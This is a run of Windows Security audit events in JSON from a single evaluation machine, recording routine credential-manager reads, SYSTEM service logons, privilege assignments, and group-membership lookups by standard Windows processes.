{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:46.696027Z"}},"EventRecordID":21147,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"WindowsLive:(cert):name=02mrmaiylzkexzqu;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:46.988875Z"}},"EventRecordID":21148,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":7356}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:46.989479Z"}},"EventRecordID":21149,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":7356}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:46.991708Z"}},"EventRecordID":21150,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":7356}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:46.991752Z"}},"EventRecordID":21151,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":7356}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:47.009944Z"}},"EventRecordID":21152,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:47.010008Z"}},"EventRecordID":21153,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4799,"Version":0,"Level":0,"Task":13826,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:47.167347Z"}},"EventRecordID":21154,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","CallerProcessId":"0x1ea0","CallerProcessName":"C:\\Windows\\System32\\SearchIndexer.exe"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4799,"Version":0,"Level":0,"Task":13826,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:47.169945Z"}},"EventRecordID":21155,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","CallerProcessId":"0x1ea0","CallerProcessName":"C:\\Windows\\System32\\SearchIndexer.exe"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:47.171498Z"}},"EventRecordID":21156,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:47.175183Z"}},"EventRecordID":21157,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:47.178127Z"}},"EventRecordID":21158,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:47.178169Z"}},"EventRecordID":21159,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:47.422649Z"}},"EventRecordID":21160,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:47.422654Z"}},"EventRecordID":21161,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:47.547928Z"}},"EventRecordID":21162,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":7356}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:47.547972Z"}},"EventRecordID":21163,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":7356}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"WindowsLive:(token):name=02mykdeddnabzzqv;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:47.548691Z"}},"EventRecordID":21164,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":7356}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"WindowsLive:(cert):name=02mykdeddnabzzqv;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:47.753023Z"}},"EventRecordID":21165,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":7356}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:47.759382Z"}},"EventRecordID":21166,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":7356}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:47.761039Z"}},"EventRecordID":21167,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:47.761074Z"}},"EventRecordID":21168,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4799,"Version":0,"Level":0,"Task":13826,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:47.951863Z"}},"EventRecordID":21169,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","CallerProcessId":"0x18b0","CallerProcessName":"C:\\Windows\\System32\\RuntimeBroker.exe"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4799,"Version":0,"Level":0,"Task":13826,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:47.952901Z"}},"EventRecordID":21170,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","CallerProcessId":"0x18b0","CallerProcessName":"C:\\Windows\\System32\\RuntimeBroker.exe"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:48.767809Z"}},"EventRecordID":21171,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:48.767854Z"}},"EventRecordID":21172,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"WindowsLive:(token):name=02mykdeddnabzzqv;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
